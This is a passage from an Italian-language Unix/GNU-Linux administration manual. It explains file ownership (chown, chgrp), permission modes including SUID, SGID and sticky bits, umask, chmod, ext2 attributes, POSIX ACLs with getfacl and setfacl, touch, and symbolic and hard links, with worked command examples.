- `# ` **`chown tizio:users mio_file`** [*Invio*]

  L'utente '**root**' cambia l'utente e il gruppo proprietario del file '`mio_file`', facendo in modo che diventino rispettivamente '**tizio**' e '**users**'.

- $ **chown :users mio_file** [*Invio*]

  L'utente proprietario del file 'mio_file' cambia il gruppo. Il gruppo indicato fa parte di quelli a cui appartiene l'utente. Tuttavia, questa funzionalità non è standard.

- # **chown -R --from=tizio caio mia_dir** [*Invio*]

  L'utente '**root**' cambia la proprietà dei file contenuti a partire dalla directory 'mia_dir/', in modo tale da trasferire a '**caio**' ciò che prima era proprietà di '**tizio**'. Anche in questo caso si tratta di una funzionalità particolare della versione GNU del programma.

22.6.2 Utilizzo di «chgrp»

il programma di servizio '**chgrp**'[15] (*Change group*) cambia il gruppo proprietario di file e directory:

chgrp [*opzioni*] *gruppo file*...

Il gruppo, nell'argomento del comando, può essere espresso con il nome o con il numero GID. È equivalente a '**chown**' quando non si specifica l'utente.

Tabella 22.23. Alcune opzioni.

Opzione	Descrizione
-R --recursive	Esegue l'operazione anche nelle sottodirectory.
--dereference	Se si incontrano dei collegamenti simbolici, interviene nei file a cui questi puntano. Questa modalità di funzionamento è predefinita.

Segue la descrizione di alcuni esempi.

- $ **chgrp users mio_file** [*Invio*]

  L'utente proprietario del file 'mio_file' cambia il gruppo. Il gruppo indicato fa parte di quelli a cui appartiene l'utente.

- # **chgrp -R users /home/tizio** [*Invio*]

  L'utente '**root**' cambia il gruppo alla directory '/home/tizio/' e a tutto il suo contenuto.

22.7 Modalità dei permessi

I permessi di accesso, attribuiti ai file o alle directory, definiscono le operazioni che con questi possono essere compiute a seconda dell'utente. La loro gestione è già introdotta nella sezione 3.21. Brevemente, si distinguono tre tipi di accesso: lettura, scrittura, esecuzione o attraversamento. Il significato del tipo di accesso dipende dal tipo di file a cui si intende applicare. Per un file normale:

- l'accesso in lettura permette di leggerne il contenuto;
- l'accesso in scrittura permette di modificarne il contenuto;
- l'accesso in esecuzione permette di eseguirlo, ammesso che si tratti di un eseguibile binario o di uno script di qualunque tipo.

Per una directory:

- l'accesso in lettura permette di leggerne il contenuto, ovvero di poter conoscere l'elenco dei file in essa contenuti (di qualunque tipo essi siano);
- l'accesso in scrittura permette di modificarne il contenuto, ovvero di creare, eliminare e rinominare dei file;
- l'accesso in esecuzione permette di attraversare una directory.

I permessi di accesso si possono esprimere in due forme diverse: attraverso una stringa alfabetica o un numero ottale. La stringa utilizza le lettere «r», «w» e «x» per rappresentare i permessi di lettura (*read*), scrittura (*write*) ed esecuzione o attraversamento (*execution*, *cross*), mentre quando si utilizza la notazione ottale, il numero quattro rappresenta un permesso di lettura, il numero due rappresenta un permesso di scrittura e il numero uno rappresenta un permesso di esecuzione o attraversamento. Si ottiene la combinazione di più tipi di permesso di accesso sommando le cifre necessarie.

La notazione numerica ottale è preferibile rispetto a quella simbolica, essendo più completa e immediata. In particolare, se il numero non utilizza tutte le cifre, si intende che manchino quelle anteriori e che queste siano semplicemente azzerate.

Oltre ai permessi di accesso per un file o per una directory, si annotano altre informazioni, definibili nell'insieme come ***modalità dei permessi***. In tutto vengono usate quattro cifre ottali (12 bit), dove la prima riguarda alcune situazioni particolari:

1. Sticky (*Save text image*), se si tratta di un eseguibile, durante l'esecuzione salva l'immagine testo nella memoria virtuale (in sistemi Unix recenti questo tipo di richiesta è perfettamente inutile e non viene presa in considerazione), se invece si tratta di una directory, comporta che la cancellazione o la ridenominazione di un file (o di una sottodirectory) sia ammesso solo se eseguita dal proprietario di questo;
2. SGID, se si tratta di un eseguibile, attiva il numero del gruppo (GID) durante l'esecuzione, ovvero, attribuisce all'eseguibile in funzione i privilegi del gruppo a cui appartiene, se si tratta invece di una directory, comporta che i file creati al suo interno acquistino l'appartenenza al gruppo della stessa directory;

3. SUID, se si tratta di un eseguibile, attiva il numero dell'utente (UID) durante l'esecuzione, ovvero, attribuisce all'eseguibile in funzione i privilegi dell'utente a cui appartiene.

Le altre tre cifre, riguardano rispettivamente i permessi di accesso attribuiti all'utente proprietario, al gruppo e agli altri utenti. Per esempio, la modalità 755_8, pari a 0755_8, indica che l'utente proprietario può leggere, modificare ed eseguire il file, mentre, sia gli utenti del gruppo, sia gli altri, possono soltanto leggere ed eseguire il file.

Riquadro 22.24. Confusione sul significato di «modalità».

Ciò che si intende, nei sistemi Unix, con il termine di «modalità» di un file, è generalmente un valore a 16 bit, contenuto in un inode, usato per rappresentare il tipo di file, nei suoi quattro bit più significativi il tipo di file, e i permessi nei restanti dodici. Pertanto, a seconda del contesto, la modalità può riferirsi ai soli permessi, oppure anche al tipo di file. A livello di codice sorgente, questa modalità è rappresentata dal tipo derivato '**`mode_t`**', previsto nel file di intestazione '`sys/types.h`', ma a seconda dei casi viene usata per rappresentare solo i permessi degli ultimi dodici bit (come nella funzione ***chmod()***), oppure anche il tipo di file (come nella funzione ***mknod()***).

22.7.1 SGID e SUID

Il modo migliore per comprendere il funzionamento delle modalità SUID e SGID è quello di fare qualche prova. Si inizia facendo una copia dell'eseguibile '**`touch`**' nella propria directory personale.

tizio$ **cd** [*Invio*]

tizio$ **pwd** [*Invio*]

```
/home/tizio
```

tizio$ **cp /bin/touch .** [*Invio*]

tizio$ **ls -l touch** [*Invio*]

```
-rwxr-xr-x   1 tizio    tizio       33156 Mar  2 08:46 touch
```

Si deve agire temporaneamente come utente '**`root`**' per cambiare la modalità dei permessi e la proprietà di questo eseguibile.

tizio$ **su** [*Invio*]

Password: ********** [*Invio*]

Si cambia la proprietà del file.

root# **chown root:root touch** [*Invio*]

root# **ls -l touch** [*Invio*]

```
-rwxr-xr-x   1 root     root        33156 Mar  2 08:46 touch
```

Si attribuisce la modalità SUID.

root# **chmod u+s touch** [*Invio*]

root# **ls -l touch** [*Invio*]

```
-rwsr-xr-x   1 root     root        33156 Mar  2 08:46 touch
```

Si può quindi ritornare allo stato precedente, lasciando i privilegi dell'utente '**root**' e riprendendo l'identità dell'utente '**tizio**'.

root# **exit** [*Invio*]

Si può provare a creare un file utilizzando l'eseguibile '**touch**' su cui è stato attivato il bit SUID.

tizio$ **./touch superfile** [*Invio*]

tizio$ **ls -l superfile** [*Invio*]

```
-rw-rw-r--   1 root     tizio           0 Mar  2 09:03 superfile
```

Si può osservare che il file creato appartiene all'utente '**root**', pur essendo stato creato da un utente comune. Si può comprendere quindi, quanto sia pericoloso utilizzare queste modalità speciali, SUID e SGID, senza oculatezza.

È importante chiarire che le modalità SUID e SGID per uno script non hanno senso, perché non si tratta di un programma autonomo, ma di qualcosa che viene eseguito da un interprete. Eventualmente, è l'interprete a dovere avere le modalità SUID o SGID attive, perché lo script possa agire con i privilegi di un altro utente.

È chiaro che si tratta di un'ipotesi astratta: l'idea di attribuire le modalità SUID e SGID a un interprete (o a una shell) è semplicemente terribile.

I tre bit iniziali della modalità dei permessi meritano un po' di attenzione anche quando si tratta di directory. La directory che abbia il bit Sticky attivo ('**d--x--x--t**') non consente la cancellazione e la ridenominazione di un file da parte di un utente diverso da quello proprietario, anche se questo tentativo viene fatto da chi ha il permesso di scrittura sulla directory. Il bit Sticky viene attribuito generalmente alla directory '/tmp/' (oltre che a '/var/tmp/') quando questa risulta accessibile da ogni utente in tutti i modi: '**drwxrwxrwt**'. Ciò permette di evitare che i file possano essere cancellati o rinominati da utenti diversi dai proprietari.

La directory con il bit SGID attivo ('**d--x--s--x**') fa in modo che i file (e le directory) che vengono creati al suo interno appartengano al gruppo della directory stessa. Al contrario, il bit SUID attivo non dovrebbe avere alcun effetto.

22.7.2 Maschera dei permessi: umask

Quando viene creato un file, questo appartiene automaticamente all'utente che lo crea e al gruppo principale dell'utente stesso. I permessi gli vengono attribuiti in base alla maschera dei permessi (*umask*). Questa maschera rappresenta i permessi che non vengono attribuiti.

Di solito, il suo valore è 022_8 e con questo, non viene attribuito il permesso di scrittura (2_8) né al gruppo proprietario, né agli altri utenti. Il valore di questa maschera può essere modificato attraverso un comando interno di shell: '**`umask`**' (19.3.4).

22.7.3 Utilizzo di «chmod»

il programma di servizio '**`chmod`**'[16] (*Change mode*) cambia la modalità dei permessi sui file indicati come argomento:

```
chmod [opzioni] modalità_dei_permessi file...
```

Le modifiche della modalità dei permessi avvengono in base alle specifiche indicate nell'argomento precedente all'elenco dei file e si possono esprimere con la sintassi seguente:

```
[u|g|o|a]...[{+|-|=}{r|w|x|X|s|t|u|g|o}...][,...]
```

Una combinazione delle lettere '**`u`**', '**`g`**', '**`o`**', '**`a`**' controlla il tipo di utenti a cui si vuole riferire il cambiamento di permesso:

`u`	Utente proprietario del file.
`g`	Gruppo proprietario del file.
`o`	Utente diverso.
`a`	Tutti gli utenti indifferentemente.

Se l'indicazione degli utenti su cui intervenire non viene fornita, la variazione agisce in funzione della maschera dei permessi che può essere modificata attraverso il comando di shell '**`umask`**' (19.3.4). In pratica, la variazione riguarda tutti i tipi di utente, a esclusione dei bit attivati nella maschera dei permessi.

I segni '**`+`**', '**`-`**', '**`=`**' indicano il tipo di cambiamento sui permessi:

`+`	Le modalità dei permessi indicate vengono aggiunte.
`-`	Le modalità dei permessi indicate vengono tolte.
`=`	Le modalità dei permessi vengono modificate in modo da diventare esattamente come indicato.

Il gruppo finale di lettere '**`r`**', '**`w`**', '**`x`**', '**`X`**', '**`s`**', '**`t`**', '**`u`**', '**`g`**', '**`o`**' indica i permessi su cui agire:

`r`	Permesso di accesso in lettura.
`w`	Permesso di accesso in scrittura (modifica).
`x`	Permesso di esecuzione o di attraversamento se si tratta di directory.

X	La lettera '**X**' (maiuscola) si comporta come '**x**', ma interviene sulle directory e solo sui file che hanno già un permesso di esecuzione per un utente qualunque. In pratica, si cerca di intervenire solo sui file per i quali il permesso di esecuzione (o di attraversamento) può avere senso.
s	Riguarda solo i file eseguibili e le directory. Attiva il bit SUID, o il bit SGID a seconda che il cambiamento intervenga sull'utente, sul gruppo o su entrambi.
t	La lettera '**t**' riguarda solo i file eseguibili e le directory. Attiva il bit Sticky.
u	Attribuisce le stesse modalità dei permessi che ha già l'utente proprietario di quel file.
g	Attribuisce le stesse modalità dei permessi che ha già il gruppo proprietario di quel file.
o	Attribuisce le stesse modalità dei permessi che hanno già gli altri utenti per quel file.

Non è possibile cambiare i permessi dei collegamenti simbolici: se si interviene su un collegamento simbolico si agisce in realtà sul file di destinazione.

Tabella 22.33. Alcune opzioni.

Opzione	Descrizione
`-R` `--recursive`	Esegue l'operazione anche nelle sottodirectory.
`-c` `--changes`	Avvia dei cambiamenti apportati.

Segue la descrizione di alcuni esempi.

- `$ chmod -R go-rwx ~/*` [*Invio*]

  Toglie sia al gruppo, sia agli altri utenti, la possibilità di accedere in qualunque modo ai file della propria directory personale e anche nelle sottodirectory successive.

- `$ chmod -R a+rX ~/*` [*Invio*]

  Interviene ricorsivamente nel contenuto della propria directory personale, assegna a tutto ciò che incontra il permesso di lettura, inoltre assegna il permesso di attraversamento a tutte le directory, così come il permesso di esecuzione a tutti i file che già risultano eseguibili per alcuni utenti.

22.8 Attributi speciali

Le caratteristiche standard di un file in un sistema Unix sono la proprietà (utente e gruppo) e i permessi. In alcuni casi è possibile attribuire altri attributi come quando si utilizza un file system Second-extended (Ext2, Ext3 o Ext4). Naturalmente, è compito del kernel fare in modo che questi attributi siano gestiti in modo corretto.

22.8.1 Utilizzo di «chattr»

il programma di servizio '**`chattr`**'[17] (*Change second extended attributes*) cambia gli attributi su un file system di tipo Second extended:

```
chattr [opzioni] [modalità] file...
```

L'interpretazione corretta di questi attributi dipende dal kernel, ma ci si deve aspettare che tutti siano funzionanti come progettato e a questo proposito conviene sempre verificare nella documentazione originale.

Gli attributi vengono espressi attraverso una modalità simbolica secondo la sintassi seguente, che comunque ne rappresenta solo alcuni:

```
+|-|={A|S|a|c|d|i|s|u}...
```

La variazione degli attributi si esprime attraverso i simboli '**`+`**', '**`-`**' e '**`=`**', secondo lo schema seguente:

`+`	Gli attributi indicati vengono aggiunti.
`-`	Gli attributi indicati vengono tolti.
`=`	Gli attributi vengono modificati in modo da diventare esattamente come indicato.

Gli attributi da variare si individuano utilizzando delle lettere; lo schema seguente ne descrive alcune:

`A`	Non aggiorna la data di accesso (*atime*). Può essere utile se si vuole ridurre l'attività a carico del disco.
`a`	Fa in modo che il file, se viene aperto in scrittura, permetta solo l'aggiunta di dati (*append*). Solo l'utente '**`root`**' può attribuire o togliere questo attributo.
`c`	Fa in modo che il kernel provveda a comprimere e decomprimere automaticamente i file in modo trasparente.
`d`	Serve al programma '**`dump`**' per sapere che il file in questione non è candidato per un recupero (*backup*).
`i`	Fa in modo che il file non sia modificabile, né cancellabile, né sia possibile cambiargli nome, né sia possibile creare un collegamento fisico verso di esso (i collegamenti simbolici restano ammissibili). Solo l'utente '**`root`**' può attribuire o togliere questo attributo.
`s`	Fa in modo che la cancellazione sovrascriva i dati cancellati con altri dati nulli.

S	Fa in modo che le operazioni di I/O su questo file avvengano in modo sincronizzato, senza utilizzare la memoria cache.
u	Fa in modo che sia possibile il recupero dalla cancellazione (quando il file è stato cancellato).

22.8.2 Utilizzo di «lsattr»

Il programma di servizio '**lsattr**'[18] (*List second extended attributes*) elenca gli attributi dei file su un file system di tipo Second-extended:

```
lsattr [opzioni] file...
```

Tabella 22.36. Alcune opzioni.

Opzione	Descrizione
-R	Esegue l'operazione anche nelle sottodirectory.
-a	Elenca tutti i file, anche quelli che iniziano con un punto (i cosiddetti file nascosti).
-d	Elenca anche le directory come i file, invece di elencare direttamente il loro contenuto.

22.9 ACL POSIX con i sistemi GNU/Linux

La sigla «ACL» sta per *Access control list* e si riferisce qui a un'estensione della gestione dei permessi, rispetto alla tradizione dei sistemi Unix.[19] POSIX ha prodotto alcune bozze sulla possibilità di estendere la gestione dei permessi dei sistemi Unix (POSIX 1003.1e e POSIX 1003.2c), ma tali lavori sono rimasti incompiuti. Queste bozze sono pubbliche e diversi sistemi Unix mettono a disposizione alcune di queste estensioni. Le estensioni a cui si fa riferimento con la sigla ACL, o eventualmente con «ACL POSIX» (benché si tratti solo di bozze), sono solo una porzione dell'insieme complessivo e in questa sezione si vuole descrivere in particolare la realizzazione relativa ai sistemi GNU/Linux.

22.9.1 File system e programmi di servizio

La gestione delle estensioni ACL POSIX richiede che il file system sia in grado di accumulare le informazioni necessarie e che il kernel sia in grado di gestirle. Nel caso di un kernel Linux occorre abilitare la funzione nell'ambito della voce che consente la gestione di un certo file system (si veda la sezione 8.3.21).

A ogni modo, in un sistema GNU/Linux, il fatto che il kernel sia predisposto correttamente e che il file system sia adatto, non basta ad attivare la gestione delle estensioni ACL POSIX, perché è necessario innestare il file system con l'opzione '**acl**':

```
/dev/sda2  /  auto  defaults,acl,errors=remount-ro  0  1
```

L'esempio mostra una riga del file '/etc/fstab', in cui si dichiara la partizione usata come file system principale. Come si vede, tra le opzioni appare anche la sigla '**acl**' per attivare la gestione che interessa.

Eventualmente, un file system può essere reinnestato aggiungendo tale opzione:

mount -o remount,acl / [*Invio*]

Per disabilitare le estensioni ACL si può usare l'opzione '**noacl**':

mount -o remount,noacl / [*Invio*]

La gestione delle estensioni ACL POSIX richiede naturalmente la disponibilità di programmi di servizio appropriati. Nei sistemi GNU/Linux si usa il pacchetto ACL,[20] che si compone principalmente dei programmi '**getfacl**' e '**setfacl**'.

22.9.2 ACL POSIX

Nei confronti di un file (o di una directory), gli utenti di un sistema Unix sono classificati in tre classi: il proprietario del file; gli utenti che appartengono al gruppo a cui è associato il file; gli utenti che non rientrano nelle prime due classi. I permessi di un file (o di una directory) sono suddivisi in tre parti che riguardano rispettivamente le tre classi di utenti.

Figura 22.38. Associazione tra le classi di utenti e i permessi secondo lo schema tradizionale dei sistemi Unix.

Quando si inseriscono le ACL POSIX, i file e le directory possono contenere informazioni più articolate nei confronti dei permessi si accesso e degli utenti a cui questi permessi si rivolgono. Le informazioni riguardo ai permessi dell'utente proprietario e degli utenti che non sono proprietari e non appartengono nemmeno al gruppo associato al file, sono gestite come nel sistema tradizionale. Oltre a questo, è possibile dichiarare espressamente utenti, oppure gruppi, a cui si associano dei permessi specifici. La gestione di questi utenti e gruppi particolari, assieme alla gestione dei permessi del gruppo a cui appartiene il file, è sottoposto al filtro di una maschera, che però non è collegato alla maschera dei permessi tradizionale (*umask*).

Figura 22.39. Associazione tra le classi di utenti e i permessi mostrati dal comando '**ls**' quando è attiva la gestione delle ACL POSIX.

rwx | r−x | r−x | +

utente proprietario
maschera ACL
utente diverso
gestione delle ACL POSIX attiva

La maschera dei permessi ACL rappresenta precisamente il massimo delle possibilità che ha un utente appartenente a quell'insieme costituito da: utenti e gruppi particolari, assieme al gruppo associato al file stesso. In altri termini: se anche un utente particolare avesse i permessi di lettura e scrittura su quel file, ma la maschera concedesse, come nell'esempio, soltanto la lettura ed esecuzione, tale utente potrebbe accedere al file soltanto in lettura.

Questo tipo di maschera va inteso quindi come la rappresentazione di ciò che è concesso, mentre la maschera dei permessi tradizionale rappresenta ciò che viene sottratto nel momento in cui si crea un file o una directory.

Le informazioni sui permessi relative alle estensioni ACL POSIX sono elencate nella tabella successiva, dove si vede in particolare il modo con cui questi vengono rappresentati.

Tabella 22.40. I tipi di voci che possono comporre i permessi secondo le estensioni ACL POSIX.

Voce	Descrizione
`user::`***permessi***	Dichiarazione dei permessi associati all'utente proprietario (questi permessi non sono filtrati dalla maschera ACL).
`group::`***permessi***	Dichiarazione dei permessi associati agli utenti appartenenti al gruppo proprietario.
`user:`***utente***`:`***permessi***	Dichiarazione dei permessi associati a un utente particolare.
`user:`***gruppo***`:`***permessi***	Dichiarazione dei permessi associati agli utenti di un gruppo particolare.
`mask::`***permessi***	Dichiarazione della maschera dei permessi concessi a tutte le classi di utenti, escluso il proprietario e gli utenti che non ricadono in alcuna categoria specificata.
`other::`***permessi***	Dichiarazione dei permessi associati agli utenti che non vengono individuati in alcuna categoria particolare (questi permessi non sono filtrati dalla maschera ACL).

22.9.3 ACL in pratica

Se esistono i presupposti per usare le estensioni ACL POSIX (un kernel adatto e un file system compatibile, innestato con l'opzione '**acl**'), si possono fare delle prove per verificare la logica di questo sistema. Si crea inizialmente la directory '/tmp/ACL/' e ci si sposta al suo interno per comodità:

$ **mkdir /tmp/ACL** [*Invio*]

$ **ls -l /tmp** [*Invio*]

```
…
drwxr-xr-x    2 tizio    tizio        4096 2010-03-18 15:30 ACL
…
```

$ **cd /tmp/ACL** [*Invio*]

Da quanto mostrato, si comprende che si sta operando utilizzando l'utenza '**tizio**', appartenente al gruppo '**tizio**' (evidentemente si utilizza la gestione dei gruppi privati); inoltre, si comprende che la maschera dei permessi tradizionale ha il valore 0022_8, ma tanto vale controllare:

$ **umask** [*Invio*]

```
0022
```

Si crea un file vuoto e poi si verificano i permessi:

$ **touch primo** [*Invio*]

$ **ls -l primo** [*Invio*]

```
totale 0
-rw-r--r--    1 tizio    tizio           0 2010-03-18 15:36 primo
```

Con l'ausilio di '**getfacl**' si può vedere la descrizione dei permessi tradizionali in forma di ACL POSIX:

$ **getfacl primo** [*Invio*]

```
# file: primo
# owner: tizio
# group: tizio
user::rw-
group::r--
other::r--
```

Come si può osservare, le informazioni che si ottengono sono equivalenti alle solite che mostra il comando '**ls**', tradotte però secondo la forma che appare nella tabella 22.40.

Con l'ausilio di '**setfacl**' si aggiungono dei permessi particolari di accesso all'utente '**caio**':

$ **setfacl -m user:caio:rw- primo** [*Invio*]

Il comando, oltre che attribuire i permessi all'utente '**caio**', predispone in modo predefinito una maschera appropriata:

$ **getfacl primo** [*Invio*]

```
# file: primo
# owner: tizio
# group: tizio
user::rw-
user:caio:rw-
group::r--
mask::rw-
other::r--
```

Conviene osservare anche cosa mostra il comando '**ls**':

$ **ls -l primo** [*Invio*]

```
-rw-rw-r--+   1 tizio    tizio           0 2010-03-18 15:36 primo
```

Come si vede, alla fine della stringa che esprime i permessi appare il segno '**+**', a indicare che sono presenti delle estensioni ACL e che il gruppo centrale di permessi è riferito alla maschera di queste estensioni e non più al gruppo proprietario.

A completamento dell'esempio si può aggiungere al file una voce riferita al gruppo '**sempronio**', a cui si vuole concedere di scrivere e di eseguire il file:

$ **setfacl -m group:sempronio:-wx primo** [*Invio*]

Si può osservare che in condizioni normali, se non si specificano altre opzioni, la voce che rappresenta la maschera viene adattata in modo automatico:

$ **getfacl primo** [*Invio*]

```
# file: primo
# owner: tizio
# group: tizio
user::rw-
user:caio:rw-
group::r--
group:sempronio:-wx
mask::rwx
other::r--
```

$ **ls -l primo** [*Invio*]

```
-rw-rwxr--+   1 tizio    tizio           0 2010-03-18 15:36 primo
```

A questo punto si decide di intervenire direttamente sulla maschera, ma per farlo si può agire in due modi equivalenti:

$ **setfacl -m mask::-w- primo** [*Invio*]

Oppure:

$ **`chmod g=w primo`** [*Invio*]

Naturalmente, si può usare '**`chmod`**' anche per modificare i permessi associati all'utente proprietario o agli utenti che non sono individuabili in altri modi, così come si può usare '**`setfacl`**' con le voci '**`user::`***permessi*' e '**`other::`***permessi*'.

$ **`getfacl primo`** [*Invio*]

```
# file: primo
# owner: tizio
# group: tizio
user::rw-
user:caio:rw-           #effective:-w-
group::r--              #effective:---
group:sempronio:-wx     #effective:-w-
mask::-w-
other::r--
```

A questo punto si vede che la maschera, ridotta al solo permesso di scrittura, interviene sui permessi «efficaci» associati all'utente '**`caio`**', al gruppo '**`sempronio`**' e agli utenti del gruppo proprietario. In base all'esempio, gli utenti del gruppo proprietario, avendo originariamente soltanto il permesso di lettura, dopo l'applicazione della maschera non hanno più alcun permesso di accesso.

Si osservi che l'adattamento automatico della maschera continua a persistere, nonostante la modifica manuale. Pertanto, se si aggiungono altri utenti e gruppi particolari, o se si interviene su quelli esistenti, la maschera viene aggiornata di conseguenza. Per evitarlo, quando si usa '**`setfacl`**' si aggiunge l'opzione '**`-n`**'.

Per cambiare i permessi di un utente o di un gruppo particolare basta impartire nuovamente il comando relativo, mentre per eliminare le voci di utenti e di gruppi particolari si usa l'opzione '**`-x`**' e non si specificano i permessi. Ecco come si eliminano le voci dell'utente '**`caio`**' e del gruppo '**`sempronio`**':

$ **`setfacl -x user:caio:  primo`** [*Invio*]

$ **`setfacl -x group:sempronio:  primo`** [*Invio*]

$ **`getfacl primo`** [*Invio*]

```
# file: primo
# owner: tizio
# group: tizio
user::rw-
group::r--
mask::r--
other::r--
```

Se si elimina anche la maschera, il comando '**ls**' non mostra più la presenza di estensioni ACL POSIX:

$ **setfacl -x mask:: primo** [*Invio*]

$ **ls -l primo** [*Invio*]

```
-rw-r--r--    1 tizio    tizio           0 2010-03-18 15:36 primo
```

22.9.4 Ereditarietà

I permessi con le estensioni ACL POSIX per le directory funzionano come per i file normali, con la differenza che è possibile stabilire delle voci predefinite.

Si inseriscono delle voci predefinite con l'opzione '**-d**' di '**setfacl**' e la prima volta vengono utilizzati anche i dati delle voci generali che appartengono già alla directory (utenti e gruppi particolari vengono ignorati). Per comprendere il meccanismo è necessario procedere con degli esempi, i quali continuano da quanto lasciato nella sezione precedente.

$ **mkdir seconda** [*Invio*]

Inizialmente, nulla di strano:

$ **getfacl seconda** [*Invio*]

```
# file: seconda
# owner: tizio
# group: tizio
user::rwx
group::r-x
other::r-x
```

Si aggiunge una voce relativa all'utente '**caio**', cui si concede anche di aggiungere e cancellare dei file:

$ **setfacl -m user:caio:rwx seconda** [*Invio*]

$ **getfacl seconda** [*Invio*]

```
# file: seconda
# owner: tizio
# group: tizio
user::rwx
user:caio:rwx
group::r-x
mask::rwx
other::r-x
```

Come già visto nella sezione precedente, la gestione delle estensioni ACL POSIX diventa attiva e si ottiene anche una maschera predefinita.

A questo punto si stabiliscono i permessi predefiniti, aggiungendo un altro utente particolare, che però può solo modificare e attraversare le directory:

$ **setfacl -d -m user:mevio:-wx seconda** [*Invio*]

$ **getfacl seconda** [*Invio*]

```
# file: seconda
# owner: tizio
# group: tizio
user::rwx
user:caio:rwx
group::r-x
mask::rwx
other::r-x
default:user::rwx
default:user:mevio:-wx
default:group::r-x
default:mask::rwx
default:other::r-x
```

Come si vede, appaiono alla fine delle voci precedute dalla sigla '**default**'.

Per dare un senso alle voci predefinite, occorre creare qualcosa all'interno della directory in questione:

$ **cd seconda** [*Invio*]

$ **touch terzo** [*Invio*]

$ **getfacl terzo** [*Invio*]

```
# file: terzo
# owner: tizio
# group: tizio
user::rw-
user:mevio:-wx  #effective:-w-
group::r-x      #effective:r--
mask::rw-
other::r--
```

I permessi (estesi) che ha ottenuto il file '**terzo**' dipendono però da quelli che il file otterrebbe in mancanza delle estensioni ACL POSIX. In questo caso, in presenza di una maschera dei permessi 0022_8, trattandosi di un file, si otterrebbero permessi del tipo 0644_8, ovvero '**rw-r--r--**'. Da quanto ottenuto si intende che la maschera ACL non ne è influenzata.

Se si crea una directory, questa eredita anche le voci predefinite:

$ **mkdir quarta** [*Invio*]

$ **getfacl quarta** [*Invio*]

```
# file: quarta
# owner: tizio
# group: tizio
user::rwx
user:mevio:-wx
group::r-x
mask::rwx
other::r-x
default:user::rwx
default:user:mevio:-wx
default:group::r-x
default:mask::rwx
default:other::r-x
```

Per eliminare le voci predefinite, si usa l'opzione '**-k**':

$ **setfacl -k quarta** [*Invio*]

$ **getfacl quarta** [*Invio*]

```
# file: quarta
# owner: tizio
# group: tizio
user::rwx
user:mevio:-wx
group::r-x
mask::rwx
other::r-x
```

22.10 Data

Tutti i file riportano tre indicazioni data-orario:

`ctime`	la data e l'ora di «creazione» (riferita all'inode): questa viene modificata in particolare quando si cambia lo stato del file (permessi e proprietà);
`mtime`	la data e l'ora di modifica: questa viene cambiata quando si modifica il contenuto del file;
`atime`	la data e l'ora di accesso: questa cambia quando si accede al file anche solo in lettura.

22.10.1 Utilizzo di «touch»

Il programma di servizio '**touch**'[21] cambia la data (si intende sia la data che l'ora) di accesso e di aggiornamento dei file:

```
touch [opzioni] file...
```

Se non si specifica una data, viene utilizzata la data e l'ora ottenuta dall'orologio del sistema nel momento in cui viene eseguito il comando. Se si specificano file che non esistono, questi vengono creati vuoti.

Tabella 22.59. Alcune opzioni.

Opzione	Descrizione

`-a`
`--time=atime`
`--time=access`
`--time=use`
	Viene cambiata solo la data di accesso.

`-c` `--no-create`	Non vengono creati i file che non esistono.

`-m`
`--time=mtime`
`--time=modify`
	Cambia solo la data di aggiornamento.

`-r` ***file_di_riferimento*** `--file` ***file_di_riferimento***	Riproduce gli stessi dati del file indicato.
`-t` [[***SS***]***AA***]***MMGGhhmm***[***.ss***]	Usa l'argomento (secolo, anno, mese, giorno, ore, minuti, secondi) invece di utilizzare la data corrente.

22.11 Copia e collegamento

La copia genera un altro file o un'altra directory, il collegamento genera un riferimento aggiuntivo agli stessi dati di origine: assomiglia alla copia, ma rappresenta solo un modo per fare apparire la stessa cosa in più punti differenti.

Nei sistemi Unix i collegamenti sono molto importanti e vengono usati di frequente. Si distinguono due tipi di questi: collegamenti simbolici (*symbolic link*) e collegamenti fisici (*hard link*). Attraverso il collegamento fisico si creano dei riferimenti a dati esistenti in modo non distinguibile da quelli originali; i collegamenti simbolici sono dei file speciali e per questo distinguibili dai file originali.

A fianco del problema della copia di file (o di directory), cioè di entità virtuali per il contenimento dei dati, ci può essere il problema elementare (anche se complicato per l'utente) di trasferire dati attraverso i dispositivi in modo diretto (copia a basso livello).

22.11.1 Collegamenti simbolici

Si è accennato al fatto che i collegamenti simbolici sono dei file speciali, distinguibili dai file originali. Si creano normalmente utilizzando il programma '**ln**', con l'opzione '**-s**', come nell'esempio seguente:

```
$ ln -s /bin/sh ./sh [Invio]
```

Seguendo l'esempio, se si leggono le caratteristiche del file '`./sh`' attraverso '**ls**', si può notare l'indicazione esplicita del fatto che si tratta di un riferimento al file '`/bin/sh`' (il quale potrebbe essere un altro collegamento, ma questo adesso non è importante).

```
$ ls -l sh [Invio]
```

```
lrwxrwxrwx   1 tizio    tizio          7 Mar  2 10:16 sh -> /bin/sh
```

La lettera che appare all'inizio dei permessi, «l», indica esplicitamente che si tratta di un collegamento simbolico. Alla fine, viene indicato anche a chi punta il collegamento: '**-> /bin/sh**'.

Si può osservare inoltre che i permessi di un collegamento simbolico non esistono. Formalmente vengono mostrati come attivi tutti i permessi degli ultimi 9 bit (lettura, scrittura ed esecuzione per tutti gli utenti), perché quelli che contano sono in realtà i permessi del file (o della directory) cui effettivamente punta il collegamento simbolico.

L'esistenza dei collegamenti simbolici altera la logica normale della copia: ha senso copiare i file a cui i collegamenti puntano, o ha senso copiare i collegamenti? Solitamente si considera che la gestione dei collegamenti simbolici debba essere trasparente, come se questi non esistessero e si trattasse effettivamente dei file a cui loro puntano. Ma ciò vale fino a quando non si fa esplicitamente riferimento ai collegamenti in quanto tali.

22.11.2 Collegamenti fisici

La gestione dei collegamenti fisici è più seria, nel senso che deve essere riservata a situazioni di particolare necessità. Attraverso il collegamento fisico si creano dei riferimenti a dati esistenti in modo non distinguibile da quelli originali; in pratica, due o più voci nella stessa directory, o in directory differenti, possono puntare allo stesso file.

Quando si cancella un file, si elimina il riferimento al suo inode dalla directory che lo contiene formalmente. Quando un inode non ha più riferimenti, viene considerato libero e può essere riutilizzato per un altro file. In altre parole, se si utilizzano i collegamenti fisici, un file viene cancellato effettivamente quando sono stati eliminati tutti i riferimenti a questo.

Per comprendere in pratica cosa accade, si può provare con gli esempi seguenti.

```
$ touch mio_file [Invio]
```

```
$ ls -l mio_file [Invio]
```

```
-rw-rw-r--   1 tizio    tizio          0 Mar  2 10:48 mio_file
```

$ **ln mio_file tuo_file** [*Invio*]

$ **ls -l mio_file tuo_file** [*Invio*]

```
-rw-rw-r--   2 tizio    tizio           0 Mar  2 10:48 mio_file
-rw-rw-r--   2 tizio    tizio           0 Mar  2 10:48 tuo_file
```

